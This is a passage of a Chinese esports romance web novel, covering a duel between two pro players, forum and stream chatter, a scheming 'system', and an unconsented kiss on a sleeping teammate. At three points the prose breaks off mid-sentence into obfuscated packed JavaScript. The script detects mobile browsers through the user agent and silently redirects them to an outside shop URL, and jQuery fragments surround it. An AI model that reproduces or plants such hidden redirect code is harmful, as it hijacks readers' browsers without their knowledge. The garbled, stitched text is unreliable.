很快,余烬带着一波新的兵线进塔,杀机顿起,他看准一个江屿白补刀的间隙,果断E上前准备越塔强杀,若他的连招全部命中,足以将本就血量不健康的法师瞬间蒸发!
就在这生死一瞬间,江屿白操控的角色一个侧身绕到塔后,突然以一个诡异的角度甩出了一个Q技能——那是两道丝线状的粉色光芒。
这个角色的Q技能“魅惑”,效果便是让被命中的敌方角色强制朝着施法者方向行走一段时间,期间无法使用技能,无法平A。
江屿白早年确实研究过这个角色的一些冷门技巧,知道几个非常规的Q技能释放角度,往往能打出意想不到的效果。但他深知余烬作为顶级中单,角色池极深,对这种冷门机制的了解恐怕只多不少,所以他发出这个技能时,并未抱太大希望能命中。
然而出乎他意料的是,那个技能划过两道弧线,余烬的刺客仿佛没有想到他会以这个角度释放Q技能,想要后退躲过,却几乎被封死了他所有常规的躲避路径,眨眼间已经被丝线缠上。
控制效果触发,余烬的屏幕边缘泛起粉红色的魅惑特效,他的角色不受控制地朝着塔下江屿白的法师走去,径直走到了对方面前,几乎是脸贴脸的距离!
毫无疑问,江屿白跟上技能,配合防御塔的仇恨,轻松拿下了第一滴血。
【First Blood!】
弹幕静了一瞬,随即爆发出海量的问号:
【?????】
【这也能中???】
【Ember在干嘛??这技能都能硬吃?】
【不好说,这个Q的角度确实很阴险,有点像古早时期的脏套路】
【但烬神这种级别的中单,能被这种套路阴到?我保持怀疑】
就连江屿白自己也疑惑地“嗯?”了一声,他看向旁边面无表情的余烬,眉头微蹙:“你在放水?”
余烬盯着屏幕上变成灰白的界面:“没有。”
对于任何一名职业选手而言,在单挑中被对手放水,都是一种极大的不尊重,这种侮辱对手也侮辱自己的行为,他不会做。他的中单角色池的确深不见底,但江屿白选择的这个角色确实冷门,多个版本弱势,许多古老的技巧和机制早已被遗忘在角落。刚才那个Q技能的释放角度和时机,刁钻且复古,确实打了他一个措手不及。
这个Q技能的放法,似乎在某个训练赛上见过……余烬的思绪飘忽了一瞬。
屏幕从阵亡的灰白色重新变为彩色,余烬操控角色复活走出泉水。他握紧了鼠标,重新将注意力投入到补兵和控线上。
拿下第一滴血后,江屿白的经济暂时取得小幅领先,但他选择的角色伤害不足的短板依然存在,随时都有被余烬操作反杀的风险。因此他打得十分稳健,精细地控制着兵线,补兵的同时并不让自家兵线过于压前,不给余烬的刺客轻易近身的机会。
然而,余烬似乎改变了策略。双方在线上附近短暂拉扯后,他突然毫无征兆地发难,操控的刺客挟着凌厉的杀意直冲向江屿白,技能连招又快又狠,势必要一套将其直接带走!
江屿白反应极快,立刻后撤走位,但依旧被打掉了半管多的血量。形势瞬间危急,但他毫无惧意,眼神冷静得可怕,一边极限距离补刀,一边利用一个小兵卡了下余烬的追击身位。
余烬想要追来,再次前压,江屿白猛然回头,故技重施,反手又是一个Q技能“魅惑”!
这个魅惑的角度相对常规,弹道清晰,虽然是贴脸释放,但以余烬的反应和操作,不是没有能力躲开。江屿白和所有盯着直播的观众都这么认为。
但事情再一次出乎了所有人的意料,余烬的刺客仿佛又一次掉了线,稳稳地接住了那道粉色的丝线!
魅惑效果再次触发,他的角色又一次一步一步地朝着江屿白的法师走去。江屿白这一次甚至不需要防御塔的帮助,一套技能带走了被控住的余烬,拿下了第二个人头。
2/0!
弹幕已经不再是问号,而是充满了各种猜测和调侃:
【????梅开二度?】
【烬神状态不对啊?昨晚没睡好?】
【这……很难不让人多想啊】
【硬吃Pale的魅惑×2,烬神,你……】
江屿白看着右上角自己2/0的战绩,眉头紧紧皱起,这样单挑起来毫无意思,余烬今天到底怎么回事?
而余烬只是沉默地看着再次变灰的屏幕。
第一个魅惑是他确实没料到那个角度,超出了他当下的预判习惯;第二个魅惑距离太近,那个站位确实很难完全躲开,但并非完全没有操作空间。
可就在那想要操作的一刹那,某个画面却不合时宜地撞了进来——自己操纵的角色向江屿白的角色走去,双方越离越近,直至面贴面的距离,最后自己倒在江屿白的面前,建模有一瞬间的相贴、交错、重叠。
就是这零点几秒的凝滞,等他想要再做操作时,已经太晚了,那道粉色的光芒已然精准地没入角色身躯,再次上演了建模重合的一幕。
指甲几乎掐进掌心,尖锐的痛感传来,余烬定了定神,用力把那两幕令他心跳失序的画面从脑海里剔除出去,强迫自己专心对线。
之后的两次小型交锋,余烬终于展现出他世界冠军中单应有的实力,精准走位扭掉了江屿白两次试探性的魅惑,双方互换了血量,但由于经济落后,余烬的血量被压得更低。总体而言,两人的意识和操作基本处于同一水平线,江屿白又选的劣势角色,只要余烬不再吃到魅惑,线上局势基本是持平的。
双方在地图上争夺线权,江屿白一直在耐心寻找机会。终于,他计算着余烬的技能CD和闪现CD,就是现在!
他敲下闪现键位,法师的身影跨越距离,拉近到一个极度危险的位置,与此同时,那道致命的粉色光芒几乎在闪现落地的瞬间脱手而出!
这个闪现Q的角度、时机、速度,都堪称完美!
然而,就在所有人都以为余烬这次必定能反应过来,至少能交闪现拉开时——
那道魅惑的光芒,再一次结结实实地命中了!
第三次,余烬的屏幕边缘第三次泛起那暧昧的粉红色,他的角色也被无形的丝线牵引,又一次步伐坚定地朝着江屿白的法师奔去。
弹幕已经不是问号能表达情绪了,彻底陷入了疯狂:
【?????三顾茅庐?!】
【Ember在干嘛??没睡醒还在梦游??】
【烬神!!!你醒醒啊烬神!!!那是魅惑啊!!!】
【一次是意外,两次是巧合,三次……这很难评】
【我宣布‘硬吃Pale魅惑’成为Ember冠军皮肤新回城特效】
【这真的不是剧本吗?直播效果?】
这一次,经济装备已经成型的江屿白,轻松几个技能接普攻,将无法释放技能的余烬再次送回了泉水。
3/0。
江屿白的脸色已经彻底沉了下来,没有丝毫胜利的喜悦。他抿着唇,沉默地操控着角色,带着兵线,一言不发地推掉了余烬的第一座防御塔。接下来的几分钟,余烬似乎终于找回了一些状态,抓住江屿白一波走位过于靠前的机会,换掉了他一次,避免了被零封剃光头的尴尬。
但最终,十多分钟后,江屿白依然以4/1的战绩推平了基地水晶。
“Defeat”。
失败的音效响起,屏幕跳转到结算界面,上面清晰地显示着双方的数据对比。
几乎在画面切换的瞬间,江屿白猛地从电竞椅上站了起来,椅腿与地面摩擦发出刺耳的声响。他一步跨到余烬身边,在对方还没反应过来时,一把攥住了他队服的前襟。
巨大的力道将余烬整个人从椅子上拽了起来,下意识地踉跄一步才站稳。他比江屿白高一些,此刻却被对方死死揪着领口,被迫低下了头。江屿白没有丝毫踮脚,只是凭借着手上的力量和冰冷的气势,硬生生将两人的视线扯平,让余烬不得不与自己对视。
“余烬!”江屿白的声音压着火,像是从牙缝里挤出来,“你刚才都在打什么!?”
余烬被他这突如其来的爆发和近距离的接触惊得愣住了,下意识地抬眼,对上那双盛满怒火的眼睛,一时竟忘了反应。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16326316|183243||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>“第一个Q,”江屿白冷笑一声,语速极快,字句像冰锥砸下来,“那个角度,三年前在BZN的训练赛里就让你吃过同样的亏!三年了!一点记性都不长?!”
“第二个Q,贴脸释放,你那个站位就算难躲,以你的反应,交个闪现或者用位移技能硬扭不是没可能!结果呢?直挺挺撞上去!”
“最离谱的是第三个!”他的声音陡然拔高,攥着衣领的手又收紧了几分,勒得余烬呼吸微微一窒,“我闪现CD快转好了,那个位置,那个时机,以你的经验和意识,你竟然预判不到我要闪Q?!余烬,打成这副鬼样子,你那个世界冠军是怎么拿的?!靠对面集体掉线吗?!”
“我……”余烬怔怔地看着这双近在咫尺的燃烧着火焰的眼睛,心脏像是被什么东西狠狠撞了一下,又酸又麻。
好熟悉的训斥,好久违的训斥,好……令他怀念的训斥。
他竟然还记得那么久远的事情,记得三年前训练赛里微不足道的细节,记得他曾经犯过的错,暴露过的弱点。那些他自己都快遗忘的碎片,竟然如此清晰地留在这个人的记忆里,在此刻如此精准地被翻出来,砸回他的脸上。
这是不是说明……他其实并没有那么厌恶他?是不是说明,他其实一直有在看着他?哪怕是以一种挑剔的、严厉的、否定的方式?
一股隐秘的欣喜顿时淹没了余烬。
然而,下一秒,江屿白猛地松开了他的衣领,仿佛触碰到了什么脏东西。他向后微退半步,站直身体,明明需要微微抬头,眼神却像是居高临下地从更高的地方俯视下来,里面燃烧的怒火渐渐熄灭,取而代之的是一种更刺人的冷漠。
“我对你很失望。”
他说道,声音不高,却更比之前所有的怒斥加起来都要沉重百倍,余烬脸上的血色蓦地褪去,前所未有的恐慌如同冰水般兜头浇下。
他看着江屿白说完那句话后毫不留恋地转身要走,大脑一片空白,几乎是在思维反应过来之前,他已经猛地站起身,解释的话堵在喉咙口。他拉住江屿白的手,却因为起身太快,腿弯蓦地撞在了身后的电竞椅上。
余烬的身体立刻失去平衡,不受控制地向前扑去,而他情急之下伸出的手,还死死抓着江屿白的手腕!
“唔!”
“砰!”
两声闷响同时响起,电光石火之间,余烬几乎是凭着本能,在半空中硬生生扭转身形,将自己垫在了下方——
江屿白只觉得一股大力从手腕传来,接着天旋地转,预料中的撞击和疼痛却没有传来,反而是身下垫住了一个温热而结实的身体。
余烬承担了绝大部分冲击力,后背结结实实地撞在冷硬的地板上,他闷哼一声,一口气差点没喘上来。
两人以一个极其尴尬的姿势叠在地上,江屿白在上,余烬在下,手腕被余烬死死攥着。
就在这一片混乱,两人都还没反应过来之时——
“咳,那个,幽冥官方刚发通知,说明天休赛期结束,要搞个季前狂欢赛,让我们……”训练室的门被推开,战队经理李峰一边低头看着手里的文件一边说着话走了进来。
话还没说完,他一抬头,看到了地上这令人瞠目结舌的一幕——江屿白和余烬衣衫不整地交叠在一块,手腕正紧紧交握在一起,余烬的手还放在江屿白背上,将他稳稳护在怀里。
李峰的声音卡回喉咙里,眼睛瞪得溜圆,手里的文件差点没拿稳,半晌才找回自己的声音:
“呃……你、你们……这是在干嘛?!”
——————
【电竞论坛,八卦灌水区】
【热】【Ember单挑Pale直播集中讨论楼(已结束)】
主楼:[视频链接]IFX队内不和传言再成真!队长Ember和替补打野Pale相约今早中单位1v1单挑!高僧预测,Pale纯送,能被烬神当小兵补了。
赛后编辑:爆大冷!Pale 4/1赢下中单单挑局!!Ember惊天连吃两记魅惑白送两个人头!!!谁来算算他的吃Q率??
【1L:沙发!开盘开盘!】
【2L:关于连吃两魅惑我们Ember粉澄清一下,没那么少,目前下来已经吃了整整三次。】
【3L:[视频链接]切片来了!三次吃魅惑高清合集!他走向他,他再走向他,他依然走向他……】
【4L:给这三个画面配个手牵手我们一起走的BGM毫无违和感,有点太暧昧了哈烬神!】
【5L:Pale给Ember下蛊论的可信度还在提升,这科学无法解释。】
【6L:别说了,已经GG了,Pale在点Ember的水晶了。Ember 1/4,好歹没被剃光头,挽尊了。】
【7L:世界冠军就这?刚拿完冠军就飘了?单挑打成这样,状态下滑太严重了吧?】
【8L:???卧槽速来直播间!!!Pale直播骂Ember了!!!!】
【9L:队内不和!队内不和!!】
【10L:我靠,Pale这骂得真狠啊,句句扎心】
【11L:但是骂得真他妈解气!这波我Ember粉站Pale了!打成这样就是该被骂醒!世界冠军不是免死金牌!】
【12L:他竟然还记得BZN时期训练赛的细节】
【13L:Pale不愧是双冠队长,训起人来这气势太强了,我隔着网线都被吓到不敢喘气】
【14L:“我对你很失望”……啊啊啊这句话出来我心脏都停跳了一拍!好重的分量!有种很怕让他失望的感觉怎么回事?】
【15L:差不多得了,直播骂队友,等着被俱乐部处理吧,真当自己还是队长呢?】
【16L:……?什么动静?直播间怎么一阵杂音?】
【17L:?怎么像摔倒的声音?那两声闷哼是?】
【18L:??李经理说的话什么意思??“你们在干嘛”??】
【19L:他们在干什么!!?直播间黑了!!谁录屏了?!后面发生了什么!!】
19. 第十九章
“呃……你、你们……这是在干嘛?!”
李峰的声音磕磕绊绊地响起来,江屿白和余烬猛地回过神。余烬立刻松开了紧攥着江屿白手腕的手,两人手忙脚乱地从地上爬起来,迅速分开,都下意识地避开了对方的视线。
“什么事?”江屿白率先开口,声音已经恢复了平时的冷淡。
余烬则默不作声地走到电脑前,伸手关掉了仍在疯狂刷问号的直播。
李峰狐疑的目光在两人之间来回扫视,这才想起正事,晃了晃手里的文件:“哦,幽冥官方刚发的通知,明天休赛期正式结束,要搞个季前狂欢赛,算是给新赛季预热。”
他大致介绍了一下流程,这是一个偏向娱乐和表演性质的赛制,会邀请上个赛季成绩靠前的几个队伍参加,虽然也有冠军头衔,但竞技压力和正式联赛相比要小很多,“总之,不是什么压力很大的比赛,主要是回馈粉丝,保持手感。”
正说着,训练室的门又被推开了,IFX队里的其他三名队员——上单Stone、AD选手Leaf和辅助Ming也拿着同样的文件走了进来。
Leaf一看到江屿白,眼睛一亮,热情地打招呼:“白神!早上好!”Ming也笑着附和了一句。自从上次江屿白临危指挥,带着他们逆风翻盘VD后,这对下路组对他的态度就彻底转变,从最初的敬畏疏远变成了由衷的佩服亲近,时常会主动找他搭话讨论游戏。
就连一向对他绷着脸的上单Stone,脸色也缓和了不少,虽然依旧沉默寡言,但也对着他微微颔首示意。
江屿白对他们点了点头,随口回应:“早。”他的态度算不上热络,但也没有丝毫架子。
李峰经理看着这其乐融融的氛围,又看了看旁边沉默不语的余烬和一脸平静的江屿白,实在看不出刚才那疑似打架的场面从何而来,只好又确认了一遍两人真的没矛盾,才带着满腹疑惑离开了。
经理一走,训练室里的气氛又微妙起来。
余烬第一时间看向江屿白之前受伤的右手腕:“你的手没事吧?”
“没事。”江屿白活动了一下手腕给他看。
余烬似乎还想说什么,但见江屿白一副不愿多谈的模样,还是把话咽了回去,默默走回自己的电脑前。他没有开始排位,径直点开了训练模式,毫不犹豫地锁定了刚才江屿白使用的那个冷门法师角色。
江屿白看着他的动作,没说什么,也坐回了自己的位置。
这时系统的声音在他脑海中响起:【宿主,刚才目标人物恨意值起伏波动极大,最低曾降至20%,最高峰值触及99.9%,目前仍在缓慢回升,稳定在99.5%。】
【嗯。】江屿白在心里应了一声。目前来看,想靠日常刺激把这最后的0.5%拉满,希望渺茫。他的目光投向窗外,手指无意识地在桌面上敲了敲……接下来的季前狂欢赛,或许能成为一个突破口?
【宿主,】系统提议道,【可以按照原定计划,在季前狂欢赛上演戏,打假赛,故意拖累队伍,这应该能有效刺激目标人物的负面情绪,有望将恨意值推满。】
【不行。】江屿白想也没想就直接否决了,语气没有丝毫转圜的余地,【平时直播装装菜,训练赛演一下也就罢了,到了正式比赛,哪怕只是表演赛,打假赛绝无可能。】这是他身为职业选手的底线。
【先走一步看一步吧。】江屿白安抚系统。
就在这时,他忽然想起自己那个只有几百个粉丝的小主播账号,或许这个号也可以利用一下。
他登录了那个直播平台,点开了许久未曾开启的直播功能。
直播刚一开始,只有零星几个观众涌入,弹幕稀稀拉拉:
【卧槽??Pale开播了?!】
【随便蹲蹲还真能蹲到Pale开播啊?】
【现在是Pale本人在播吗?手怎么样了?】
江屿白随手点开一个连连看小游戏,打开麦克风回道:“不是Pale,现在直播的人叫Black。”
弹幕愣了一秒,随即反应过来:
【???白神这么久不见变得幽默了哈】
【Black哈哈哈哈,白神黑化了说是】
【白神刚单挑打赢Ember,不发表一下获胜感言?】
看到这条弹幕,江屿白来了兴致,他侧过头对着旁边的余烬提高了音量:“我弹幕让我发表一下单挑的获胜感言。”
余烬正专注地练习着那个法师的Q技能角度,闻言以为是征求他意见,头也没抬地回答:“你说吧。”他自知今天因为心神不宁而发挥失常,输得没什么脾气。
弹幕却瞬间捕捉到了关键信息:
【卧槽?Ember也在?!】
【双人直播?】
【今天你们IFX中野组有点暧昧了嗷】
江屿白嗤笑一声:“不是问你的意见。”他的语气重新带上了那点令人牙痒的嘲讽,“我发表获奖感言多没意思。问问我们亲爱的队长,今天打成这样输掉单挑,是个什么心情比较有意思。”
他想起这个就来气,本来手痒想来一场酣畅淋漓的高质量对局,结果余烬打得像是梦游,让他赢了也觉得胜之不武,非常扫兴。
“来,解释一下?”他逼问,“怎么发挥成这样的?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16326317|183243||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
余烬的手指在键盘上停顿了一下。他很难解释自己那复杂晦涩的心绪,他当然打得很认真,前期也的确凭借英雄优势压制了江屿白的兵线和经济。但第一次吃到那个意想不到的魅惑后,看着自己的角色一步步走向对方……后续的发展就有些失控了。他甚至荒谬地产生了一丝嫉妒,嫉妒那个游戏里的虚拟角色,能那般理所当然地被江屿白的技能牵引着,一步步靠近他。
他抿了抿唇,给出了一个模棱两可的答案:“因为你。”
江屿白:“?”这甩锅也太直接了吧?
没等江屿白反驳,余烬又立刻补充:“因为Pale真的很强。吃到第一个Q之后,心态有点被打崩了。”这某种程度上也是实话,那种被江屿白完全看穿,旧日阴影重现的感觉,确实动摇了他的心态。
江屿白毫不客气地嘲笑:“心态还跟三年前一样脆弱,纸糊的。”
一条显眼的弹幕飘过:
【都提到三年前了,Pale回应一下BZN时期打压队友的事呗?】
余烬看到这条弹幕后率先出声:“没有的事,三年前的确是我自己打得菜。”
江屿白有些意外地瞥了他一眼,随即哼笑一声:“现在技术也没好到哪里去。”
听到这话,余烬的心跳反而漏跳了一拍,一股近乎扭曲的满足感悄然窜起。对,就是这样,再多说一点,用那种熟悉的、带着讥诮的语气批评他,否定他,将所有的注意力都投注在他身上,他渴望那双眼睛看着他,最好只看着他,不论里面是何种色彩。他极轻地笑了一下,转向屏幕的方向对着弹幕附和道:“是啊,所以还需要Pale多鞭策。”
江屿白凉凉地怼了一句:“现在哪里还敢鞭策我们余烬队长。”
弹幕立刻刷过一片吐槽:
【今天骂那么狠没看出来哪里不敢了】
【烬神这语气,怎么感觉还挺希望被白神骂的啊?】
江屿白看着这些弹幕,内心也忍不住跟系统说:【系统你看到了吧?连弹幕都看出了男主现在对我的态度好得离奇。】
系统的电子音都带上了人性化的犹豫,它回想起昨晚余烬凝视宿主沉睡侧脸时那异常漫长的注视:【宿主……】
【怎么了?】
【目标人物可能对你产生了别的感情。】
【我知道,他恨我嘛。】江屿白不以为意,边玩连连看边随口回道。
【不止如此,宿主。】系统停顿一下,似乎在进行最终确认,然后报出了一个石破天惊的结论:【我怀疑,除了恨之外,目标人物可能产生了基于爱慕的复杂情愫。简单来说,他爱上您了。】
20. 第二十章
【根据这段时间的行为数据分析,目标人物对宿主产生爱慕情感的可能性已上升至86%。】
系统的电子音在江屿白脑海中响起,同时,一段段清晰的回忆画面不受控制地在他眼前飞速闪过——
双排直播,余烬面对滔天质疑,面不改色地维护他;手伤复发,余烬小心翼翼地给他冰敷、按摩;他仅仅夸了Nightmare几句,第二天余烬就带着报复意味地将对方在solo里虐得毫无还手之力。还有……那条他最初以为是胜利者嘲讽,如今看来却截然不同的信息——“队长,我有离你近一点了吗?”
江屿白思考着这句话,眉头越皱越紧:【但现在恨意值依然高得离谱。你的意思是,余烬在恨着我的同时,又爱上了我?】
这结论荒谬得让他自己都想笑。
【目前根据分析结果来看,是这样的。】系统一板一眼地回应。
江屿白沉吟片刻,还是觉得无法理解:【……他到底爱上我什么?】论性格,他扮演的是一个刻薄毒舌,将他尊严踩碎的恶人;论外貌,他自认也不至于有让一个龙傲天男主忽略所有糟糕内在的惊人魅力。最重要的是……
【这是一个龙傲天男主,他怎么可能爱上男的?】
系统冷静地分析道:【宿主,你所在的原著为一本无CP向电竞爽文,并未对主角余烬的感情线进行任何描写。因此目标人物性向存在多种可能性,爱上同性的概率并非为零。】
【……试探一下吧。】江屿白最终做了决定。他在心里默默希望,系统的判断最好是错的,余烬最好没有爱上他。
他关掉了没什么难度的连连看游戏下了播,旁边,余烬还在训练模式里,屏幕上的法师角色正一遍遍徒劳地对着木偶释放着那个心形的魅惑技能。江屿白清了清嗓子,声音里带上一点刻意为之的虚弱:“我手疼了。”
画面上的法师角色僵在原地,余烬几乎是瞬间就停下了手上的操作,眼神里带着毫不掩饰的紧张:“你别玩了,”他立刻站起身,“回房间,我再帮你按摩几次。”
这句话声音不低,训练室里另外三个队友同时震惊地抬起头,目光在江屿白和余烬之间来回扫视,脸上写满了“发生了什么?”和“他们关系什么时候这么好了”?
辅助Ming和AD Leaf又开始了无声的眼神交流,Ming瞪大眼睛:?他俩什么情况?这才几天?
Leaf的眼神疯狂往自己屏幕上瞟,额头冒汗:我不知道啊!但我直播还开着!这话播出去了咋办?!
Ming:你啥时候开的直播?!算了算了,播就播了吧,正好辟一下中野不和的谣。
Leaf眼神绝望:……我怎么有种不好的预感……
另一边,江屿白和余烬已经一前一后离开了训练室。
回到房间,江屿白主动将手腕伸到余烬面前,状似随意地问道:“上次我睡着了,是你把我挪到床上的?”
余烬的目光垂下,落在自己掌心里那截递过来的手腕上。上面的伤势基本消退,恢复了原本的瘦削形状,苍白的皮肤下淡青色的血管脉络清晰可见,蜿蜒起伏,像雪地里蛰伏的青蛇,要张着毒牙咬他一口,是令人感到诡异而危险的美丽。他的手指缓缓收拢,小心翼翼地圈住那截腕骨,连带着把这些青蛇一同圈禁起来,指尖下的脉搏平稳地跳动着,皮肤温热,这触感让他喉咙发干,喉结滚动一下,才声音低哑地应了一声:“嗯。”
他的手指开始动作,指腹带着恰到好处的力道,精准地按压着腕部酸胀的穴位,手法比上次熟练了许多,显然私下做过功课。一阵阵酸麻酥痒的感觉混合着些微的刺痛,从接触点蔓延开来,奇异地驱散了不适感,带来一种难以言喻的舒适。
江屿白舒服地半眯起眼,从喉咙里发出了一声满足的喟叹。他故意偏过头,打了个哈欠,浓密的睫毛垂下,在眼下投出一小片阴影:“我又有点困了,等会儿你按完,再把我弄到床上去吧。”一副将自己全然交付出去的姿态。
余烬的呼吸呼吸几不可察地重了一分,他点头,声音绷得越发紧了:“好。”
按摩还在继续,但空气中的味道似乎变了,不再仅仅是药膏的清凉气息,还掺杂进了一种逐渐升腾的黏稠热度。两人靠得很近,呼吸在安静的空间里交织,偶尔指腹滑过皮肤带来
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16326318|183243||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的细微摩擦声,衣料窸窣的轻响,都被无限放大,清晰得令人心慌。
不一会儿,江屿白就依言闭上了眼睛,呼吸变得均匀而绵长,胸膛规律地起伏,仿佛真的抵御不住疲惫,沉沉睡去。
余烬停下了按摩的动作,却没有立刻松开手,他的目光贪婪地流连在江屿白沉睡的侧脸上,这已经是第三次,他得以毫无阻碍地凝视这张脸,他想起Nightmare微博评论区里那些关于“Pale的脸没得喷”的言论,心想的确如此。
江屿白生就一副淡颜凉薄的长相,脸色总是缺乏血色的苍白,但这无损他的俊美,反而更添了几分冷厉疏离,不容亵渎的气质。此刻,午后的阳光透过窗户斜照进来,金色的光斑落在他脸上,被高挺的鼻梁切割下小片阴影,上面有几缕垂落的发丝被染成了温暖的金色,发梢随着轻微的呼吸不安分地晃动,跳跃着细碎的光点,奇异地中和了那份惯常的冷硬,显出一种近乎温柔的错觉。
还有那双唇……
余烬的视线最终无法控制地落在那双唇上。这双总是吐出冰冷刻薄话语的唇,色泽偏淡,看起来有些干燥,却形状饱满,线条清晰,在眼前毫无防备地微微启着一条细缝,让人无端疯狂地生出一种强烈冲动,想要将其弄湿,弄得嘴唇殷红,无法控制地肿胀起来,将那些刺人的话语全部堵回去才好。
他深吸一口气,将那几乎要破笼而出的躁动欲望强行压下,慢慢弯下腰,手臂穿过对方的膝弯和后背,将人稳稳地横抱起来。
把江屿白抱在怀里的感觉让他心脏狂跳,几乎要撞出胸腔,他动作轻柔地将人安置在柔软的床铺上,生怕惊醒了这场不知真假的梦境。
江屿白闭着眼睛,安静地扮演着一个沉睡者。他感受到自己被轻柔地抱起,背后接触到柔软床铺的触感,他忍耐着那道如有实质的在他脸上逡巡的视线,这视线几乎要将他烫伤,但他的主人却迟迟没有更进一步的动作。
江屿白内心庆幸,果然,什么都没发生,系统的判断是错误的。
这个念头还没完全落下,下一秒,一个湿润而温暖的触感,如同蝴蝶振翅,猝不及防地落在了他的唇上。
21.第二十一章
那不是简单的一触即分的嘴唇相贴。
而是一种濡湿的、带着某种生涩又急切意味的触感,有什么柔软湿热的东西,正小心翼翼地舔舐过他有些干燥的唇瓣,试图将其润湿,间隙里,甚至能感受到对方紧张而笨拙的牙齿轻轻磕碰上来。
江屿白脑子里嗡的一声,愣了好几秒,才迟钝地意识到那是什么。
他想要睁开眼,然而那抹湿润的触感却很快远离,紧接着是房门被极轻极快地带上的咔哒声。
房间里瞬间只剩下他一个人,以及唇上那潮湿而陌生的酥麻感。
江屿白猛地从床上坐起,几步冲进洗手间,拧亮灯,看向镜子——
镜子里的人原本浅淡的唇色此刻殷红得不成样子,像是被狠狠碾磨过,泛着不正常的水光润泽,唇角还有一个被牙齿不小心磕碰出的印记,任谁看了都知道刚才发生了什么。
他就这样被龙傲天男主偷吻了?
江屿白愣愣地抬手,指尖碰了碰唇角那个细微的痕迹,冰凉的指尖与残留的温热触感形成诡异对比,心脏还在失控地狂跳,一种混合着震惊、荒谬、和被冒犯的情绪缓慢地席卷上来。
一个人竟然能在这么恨一个人的同时,却又爱上这个人吗?
【宿主……】系统似乎想安慰他,【如果确定任务因不可抗力因素无法完成,我们可以启动紧急预案,放弃本世界,进行死遁脱离。】
江屿白沉默地站在镜前,半晌才开口:“再试试。”
他还是不想放弃。
一是因为这是他的第一个任务世界,他兢兢业业,不惜自毁形象努力了这么久,没有道理就这么轻易认输。
二是因为,余烬这所谓的“爱”,依他看来,极有可能只是一种恨到极致产生的心理扭曲,是长期压抑和执念错位的产物,只要让余烬看清现实,彻底死心,或许一切就能回到正轨,继续恨他。
【但是宿主,你打算如何让目标人物死心?】
江屿白打开水龙头,抬起眼,看着镜中自己恢复冷淡的神情。
“很简单。”他声音平静,把自己唇上的水渍一点点抹除。
——
两天后,季前狂欢赛正式开赛。比赛场地就在同城,赛程紧凑,只有三天。IFX全队带上简便的行李,乘坐俱乐部大巴前往官方指定的电竞酒店。
这两天,IFX五人也进行了高强度的五排磨合,江屿白迅速找回了状态,甚至保留了他当年在BZN的老习惯——主动去和教练组讨论战术。在队内训练时,其精准的大局观和指挥本能也自然而然地流露出来,经过几次演练和商议,且在余烬的强烈推荐下,队内最终决定,这次季前赛,先由江屿白担任主指挥。
而每天训练结束后,余烬依旧会准时出现在江屿白房间,关注他手腕的状态,细致地帮他上药按摩。江屿白没有选择立刻挑破那晚的偷吻,只是也没在按摩时睡着过,自然没再给余烬任何可乘之机,但余烬的目光似乎总是会若有若无地停留在他已经看不出任何异常的嘴唇上。
到了比赛这天中午,一行五人抵达酒店,经理李峰将赛程表发到群里,江屿白点开一看,IFX今晚首战的对手,竟然是个老熟人——TOG战队。
这也是个老牌强队,当年和BZN交手频繁,打过的训练赛更是不计其数。江屿白清晰地记得,某一次训练赛,TOG就曾针对当时还是新人的余烬,直接将他的心态抓崩,导致整条线溃败。而且没记错的话,BZN当年的上单选手Autumn,后来似乎就转会到了TOG。
看来是老队友再相见。江屿白关上手机,把行李放好,IFX现在财大气粗,直接给队员和经理每人安排了一间单人间,江屿白的房间好巧不巧,正好在余烬的隔壁。
他刚把行李放好,房门就被敲响了,是余烬来叫他去看赛场和设备。
虽是偏娱乐性质的季前赛,但官方显然颇为重视,场地布置和设备都相当高端专业,巨大的环形屏幕、炫目的灯光、专业的隔音比赛房。几人熟悉完环境,刚从后台通道走出来,迎面就撞上了同样前来熟悉场地的TOG战队众人。
都是圈内熟人,双方队员自然打起招呼,江屿白听见一个熟悉的声音带着惊喜响起:“队长!”
他抬头,看到一个身材高挑的青年笑着大步朝他走来,正是前BZN上单,现TOG队员Autumn。
“Autumn。”江屿白微微颔首。Autumn在BZN时期就和他关系不错,在他被全网黑得最惨的时候,也曾公开为他澄清过“打压队友”的谣言,不过这种黑料澄清都是越描越黑,所以他提过两次后便没再说。
Autumn笑容灿烂,主动伸出手:“队长,好久不见!在IFX怎么样?”即使过了这么久,他见到江屿白的第一反应,依旧是这个熟悉的称呼。
江屿白伸手与他交握,语气平和:“挺好的。”
“看过你们前几天和VD的对局录像了,”Autumn语气熟稔,“队长打得还是很帅,今晚对局手下留情啊。”他说着,也朝旁边的余烬友好地点点头,“余队长也是。”
江屿白自然不会跟他客气,眉梢微挑说道:“那可不好说。即使是娱乐赛,我对冠军也是势在必得的。”
